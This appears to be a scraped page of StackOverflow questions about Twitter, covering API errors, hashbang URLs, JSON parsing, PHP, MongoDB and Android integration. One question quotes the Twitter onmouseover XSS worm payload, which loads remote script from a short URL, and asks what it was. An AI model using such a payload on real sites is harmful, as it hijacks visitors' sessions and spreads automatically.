EzDevInfo.com

twitter interview questions

Top twitter frequently asked interview questions

Twitter API returns error 215, Bad Authentication Data

I am trying to call following Twitter's API to get a list of followers for a user.

http://api.twitter.com/1.1/followers/ids.json?cursor=-1&screen_name=username

And I am getting this error message in response.

{
    code = 215;
    message = "Bad Authentication data";
}

I can't seem to find the documentation related to this error code. Anyone has any idea about this error?


Source: (StackOverflow)

What's the shebang/hashbang (#!) in Facebook and new Twitter URLs for?

I've just noticed that the long, convoluted Facebook URLs that we're used to now look like this:

http://www.facebook.com/example.profile#!/pages/Another-Page/123456789012345

As far as I can recall, earlier this year it was just a normal URL-fragment-like string (starting with #), without the exclamation mark. But now it's a shebang or hashbang (#!), which I've previously only seen in shell scripts and Perl scripts.

The new Twitter URLs now also feature the #! symbols. A Twitter profile URL, for example, now looks like this:

http://twitter.com/#!/BoltClock

Does #! now play some special role in URLs, like for a certain Ajax framework or something since the new Facebook and Twitter interfaces are now largely Ajaxified? Would using this in my URLs benefit my Web application in any way?


Source: (StackOverflow)

Advertisements

Parsing json with UNIX tools

I'm trying to parse json returned from a curl request, like sp:

curl 'http://twitter.com/users/username.json' | sed -e 's/[{}]/''/g' | awk -v k="text" '{n=split($0,a,","); for (i=1; i<=n; i++) print a[i]}'

I have it set working where it splits the json into fields, i.e. the above returns

% ...
"geo_enabled":false
"friends_count":245
"profile_text_color":"000000"
"status":"in_reply_to_screen_name":null
"source":"web"
"truncated":false
"text":"My status"
"favorited":false
% ...

But what I would like to do is grab a specific field (denoted by the -v k=text) and only print that.

Any ideas?


Source: (StackOverflow)

Simplest PHP example for retrieving user_timeline with Twitter API version 1.1

Because of the Twitter API 1.0 retirement as of June 11th 2013, the script below does not work anymore.

// Create curl resource 
$ch = curl_init(); 
// Set url 
curl_setopt($ch, CURLOPT_URL, "http://twitter.com/statuses/user_timeline/myscreenname.json?count=10"); 
// Return the transfer as a string 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
// $output contains the output string 
$output = curl_exec($ch); 
// Close curl resource to free up system resources 
curl_close($ch);

if ($output) 
{
    $tweets = json_decode($output,true);

    foreach ($tweets as $tweet)
    {
        print_r($tweet);
    }
}

How can I get the user_timeline (recent statuses) with the least code possible?

I found this: https://dev.twitter.com/docs/api/1.1/get/statuses/user_timeline but I get the following error:

"{"errors":[{"message":"Could not authenticate you","code":32}]}"

There are a lot of classes out there but after trying several none of them seem to work because of these updates at Twitter, plus some of them are pretty advanced classes with a lot of functionality that I don't really need.

What is the simplest/shortest way to get the recent user statuses with PHP?


Source: (StackOverflow)

Find objects between two dates MongoDB

I've been playing around storing tweets inside mongodb, each object looks like this:

{
"_id" : ObjectId("4c02c58de500fe1be1000005"),
"contributors" : null,
"text" : "Hello world",
"user" : {
    "following" : null,
    "followers_count" : 5,
    "utc_offset" : null,
    "location" : "",
    "profile_text_color" : "000000",
    "friends_count" : 11,
    "profile_link_color" : "0000ff",
    "verified" : false,
    "protected" : false,
    "url" : null,
    "contributors_enabled" : false,
    "created_at" : "Sun May 30 18:47:06 +0000 2010",
    "geo_enabled" : false,
    "profile_sidebar_border_color" : "87bc44",
    "statuses_count" : 13,
    "favourites_count" : 0,
    "description" : "",
    "notifications" : null,
    "profile_background_tile" : false,
    "lang" : "en",
    "id" : 149978111,
    "time_zone" : null,
    "profile_sidebar_fill_color" : "e0ff92"
},
"geo" : null,
"coordinates" : null,
"in_reply_to_user_id" : 149183152,
"place" : null,
"created_at" : "Sun May 30 20:07:35 +0000 2010",
"source" : "web",
"in_reply_to_status_id" : {
    "floatApprox" : 15061797850
},
"truncated" : false,
"favorited" : false,
"id" : {
    "floatApprox" : 15061838001
}

How would I write a query which checks the created_at and finds all objects between 18:47 and 19:00? Do I need to update my documents so the dates are stored in a specific format?


Source: (StackOverflow)

Social Share Links with Custom Icons

I'm looking for any solid current information on creating custom share icons for the following.

  • Facebook
  • Twitter
  • Google +
  • LinkedIn
  • Pinterest

All the documentation I keep getting to seems to be about using THEIR social like / share buttons - which most of the time I think are not very appealing. Things like socialite.js help to deal with some of the other issues that arrise when using the "native" like / share buttons (sorry not sure what else to call them), but they're not very pretty to be honest.

Any reference material / tutorials or guidance would be awesome.

Cheers.


Source: (StackOverflow)

Is there a way to get an user's email ID after verifying his/her Twitter identity using OAuth?

I am new to OAuth and have been playing around with the Twitter API. I am able to fetch the credentials of an user after authentication by making a request to http://api.twitter.com/1/account/verify_credentials.xml. The response contains the user id, screen name etc. but not the email ID.

Is it possible at all to retrieve the email ID of the user?

Update

I believe Facebook provides this information if you specifically request for extended permissions. Is there something similar for Twitter?


Source: (StackOverflow)

bower command not found

I tried to install twitter bower on my Mac, and I used

npm install bower -g

Then I tried bower --help, and the output was bower command not found. Why is that?


Source: (StackOverflow)

Best java twitter library? [closed]

The twitter API site lists 3 java twitter libaries.

Do you know others? What are your experiences in support, ease of use, stability, community, etc.


Source: (StackOverflow)

Android Intent for Twitter application

Is it possible to show a list of applications (with intent.createChooser) that only show me my twitter apps on my phone (so htc peep (htc hero) or twitdroid). I have tried it with intent.settype("application/twitter") but it doesnt find any apps for twitter and only shows my mail apps.

Thank you,

Wouter


Source: (StackOverflow)

What is the best Twitter API wrapper/library for .NET? [closed]

I'm looking for a way to programatically generate a twitter feed for a .NET application. Any recommendations as to a good wrapper for the twitter api to ease the work?

Boaz


Source: (StackOverflow)

Today's XSS onmouseover exploit on twitter.com

Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

Is this technically an XSS attack or something else?

Here is how the Twitter home page looked like: http://www.flickr.com/photos/travelist/6832853140/


Source: (StackOverflow)

How can I open a Twitter tweet using the native Twitter app on iOS?

A tweet can be opened by Safari with a link of this format:

http://twitter.com/1Direction_X/statuses/197752514391715842

On iOS 5, Twitter is built-in. How can I open the above tweet using the native Twitter app called from my app?


Source: (StackOverflow)

Open page in Twitter app from other app - Android

I was looking for some way to launch Twitter app and open a specified page from my aplication, without webview. I found the solution for Facebook here: Opening facebook app on specified profile page

I need something similar.

Thank you very much.

EDIT I just found a solution:

try {
Intent intent = new Intent(Intent.ACTION_VIEW,
    Uri.parse("twitter://user?screen_name=[user_name]"));
startActivity(intent);

}catch (Exception e) {
    startActivity(new Intent(Intent.ACTION_VIEW,
         Uri.parse("https://twitter.com/#!/[user_name]"))); 
} 

Thanks for your comments.


Source: (StackOverflow)

Integrating FaceBook, Twitter, Social networks in Android

Integrating Multiple Social networks into Android with a single common Framework or API or JAR

For iPhone we have ShareKit, which integrates multiple sharing options in one framework. http://www.getsharekit.com/

For android i have no idea if something similar exists. I am building an application which shares information to social networks, like some posts and tweets. Its a simple game, where gamers publish updates about their achievements and levels.. etc.. I used Facebook and twitter APIs but they take up lots of memory and difficult to manage. Also i cannot handle them efficiently. Any help on how to integrate them would be appreciated.

I would like to have a few suggestions on this..

Another Example seems PinkelStar

http://www.pinkelstar.com/ (Not maintained anymore)

Thanks


Source: (StackOverflow)